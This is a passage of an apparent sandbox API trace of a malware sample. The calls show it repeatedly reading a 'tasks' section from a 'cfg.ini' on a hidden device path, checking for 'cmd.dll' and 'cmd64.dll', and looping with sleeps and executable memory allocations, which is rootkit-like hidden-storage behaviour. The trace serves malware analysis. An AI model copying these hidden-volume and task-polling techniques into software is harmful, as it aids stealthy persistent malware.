ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.435] KeLeaveCriticalRegion () [0117.435] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.435] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.435] KeEnterCriticalRegion () [0117.435] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.435] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.435] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.435] KeLeaveCriticalRegion () [0117.435] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.435] KeEnterCriticalRegion () [0117.435] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.435] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.435] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.435] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.435] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0117.435] IdePortDispatch () returned 0x103 [0117.435] KeWaitForMutexObject () returned 0x0 [0117.436] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.436] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.436] KeLeaveCriticalRegion () [0117.436] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.436] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.436] KeEnterCriticalRegion () [0117.436] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.436] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ca5000 [0117.436] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.436] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.436] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.436] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.436] IdePortDispatch () returned 0x103 [0117.436] KeWaitForMutexObject () returned 0x0 [0117.436] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.436] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.436] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.436] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.436] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.436] IdePortDispatch () returned 0x103 [0117.436] KeWaitForMutexObject () returned 0x0 [0117.436] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.436] KeLeaveCriticalRegion () [0117.436] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.437] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.437] KeEnterCriticalRegion () [0117.437] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.437] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.437] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.437] KeLeaveCriticalRegion () [0117.437] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.437] KeEnterCriticalRegion () [0117.437] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.437] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.437] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.437] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.437] KeLeaveCriticalRegion () [0117.437] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.437] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.437] KeEnterCriticalRegion () [0117.437] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.437] ExFreePoolWithTag (P=0xfffffa80039d9c20, Tag=0x0) [0117.437] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.437] KeLeaveCriticalRegion () [0117.437] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.437] ReleaseMutex (hMutex=0xf0) returned 1 [0117.437] Sleep (dwMilliseconds=0x927c0) [0117.452] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0117.452] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.452] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0117.452] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.452] KeEnterCriticalRegion () [0117.452] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.452] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.452] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.452] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.452] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0117.452] IdePortDispatch () returned 0x103 [0117.452] KeWaitForMutexObject () returned 0x0 [0117.453] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.453] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.453] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.453] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.453] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.453] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d9670 [0117.453] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.453] KeLeaveCriticalRegion () [0117.453] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.453] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.453] KeEnterCriticalRegion () [0117.453] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.453] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.453] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.453] KeLeaveCriticalRegion () [0117.453] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.453] KeEnterCriticalRegion () [0117.453] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.453] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.453] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.453] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.453] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0117.453] IdePortDispatch () returned 0x103 [0117.453] KeWaitForMutexObject () returned 0x0 [0117.453] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.453] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.453] KeLeaveCriticalRegion () [0117.453] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.453] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.453] KeEnterCriticalRegion () [0117.453] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.453] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cae000 [0117.454] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.454] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.454] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.454] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.454] IdePortDispatch () returned 0x103 [0117.454] KeWaitForMutexObject () returned 0x0 [0117.454] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.454] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.454] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.454] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.454] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.454] IdePortDispatch () returned 0x103 [0117.454] KeWaitForMutexObject () returned 0x0 [0117.454] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.454] KeLeaveCriticalRegion () [0117.454] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.455] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.455] KeEnterCriticalRegion () [0117.455] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.455] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.455] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.455] KeLeaveCriticalRegion () [0117.455] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.455] KeEnterCriticalRegion () [0117.455] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.455] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.455] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9380, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.455] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.455] KeLeaveCriticalRegion () [0117.455] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.455] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.455] KeEnterCriticalRegion () [0117.455] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.455] ExFreePoolWithTag (P=0xfffffa80039d9670, Tag=0x0) [0117.455] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.455] KeLeaveCriticalRegion () [0117.455] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.455] ReleaseMutex (hMutex=0xf0) returned 1 [0117.455] Sleep (dwMilliseconds=0x927c0) [0117.468] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0117.468] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.469] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0117.469] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.469] KeEnterCriticalRegion () [0117.469] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.469] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.469] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.469] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.469] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0117.469] IdePortDispatch () returned 0x103 [0117.469] KeWaitForMutexObject () returned 0x0 [0117.469] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.469] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.469] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.469] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.469] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.469] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039cf600 [0117.469] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.469] KeLeaveCriticalRegion () [0117.469] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.469] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.469] KeEnterCriticalRegion () [0117.469] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.469] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.469] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.469] KeLeaveCriticalRegion () [0117.469] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.469] KeEnterCriticalRegion () [0117.469] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.469] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.469] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.469] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.469] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0117.469] IdePortDispatch () returned 0x103 [0117.470] KeWaitForMutexObject () returned 0x0 [0117.470] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.470] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.470] KeLeaveCriticalRegion () [0117.470] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.470] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.470] KeEnterCriticalRegion () [0117.470] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.470] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb3000 [0117.470] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.470] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.470] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.470] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.470] IdePortDispatch () returned 0x103 [0117.470] KeWaitForMutexObject () returned 0x0 [0117.470] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.470] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.470] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.470] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.470] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.470] IdePortDispatch () returned 0x103 [0117.470] KeWaitForMutexObject () returned 0x0 [0117.470] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.470] KeLeaveCriticalRegion () [0117.470] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.471] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.471] KeEnterCriticalRegion () [0117.471] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.471] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.471] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.471] KeLeaveCriticalRegion () [0117.471] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.471] KeEnterCriticalRegion () [0117.471] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.471] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.471] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d94d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.471] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.471] KeLeaveCriticalRegion () [0117.471] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.471] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.471] KeEnterCriticalRegion () [0117.471] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.471] ExFreePoolWithTag (P=0xfffffa80039cf600, Tag=0x0) [0117.471] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.471] KeLeaveCriticalRegion () [0117.471] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.471] ReleaseMutex (hMutex=0xf0) returned 1 [0117.471] Sleep (dwMilliseconds=0x927c0) [0117.487] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0117.487] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.487] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0117.487] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.487] KeEnterCriticalRegion () [0117.487] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.487] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.487] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.487] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.487] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0117.487] IdePortDispatch () returned 0x103 [0117.487] KeWaitForMutexObject () returned 0x0 [0117.487] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.487] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.487] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.487] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.487] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.487] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d92c0 [0117.487] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.487] KeLeaveCriticalRegion () [0117.487] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.488] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.488] KeEnterCriticalRegion () [0117.488] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.488] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.488] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.488] KeLeaveCriticalRegion () [0117.488] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.488] KeEnterCriticalRegion () [0117.488] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.488] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.488] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.488] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.488] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0117.488] IdePortDispatch () returned 0x103 [0117.488] KeWaitForMutexObject () returned 0x0 [0117.488] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.488] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.488] KeLeaveCriticalRegion () [0117.488] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.488] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.488] KeEnterCriticalRegion () [0117.488] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.488] MmMapLockedPagesSpecifyCache 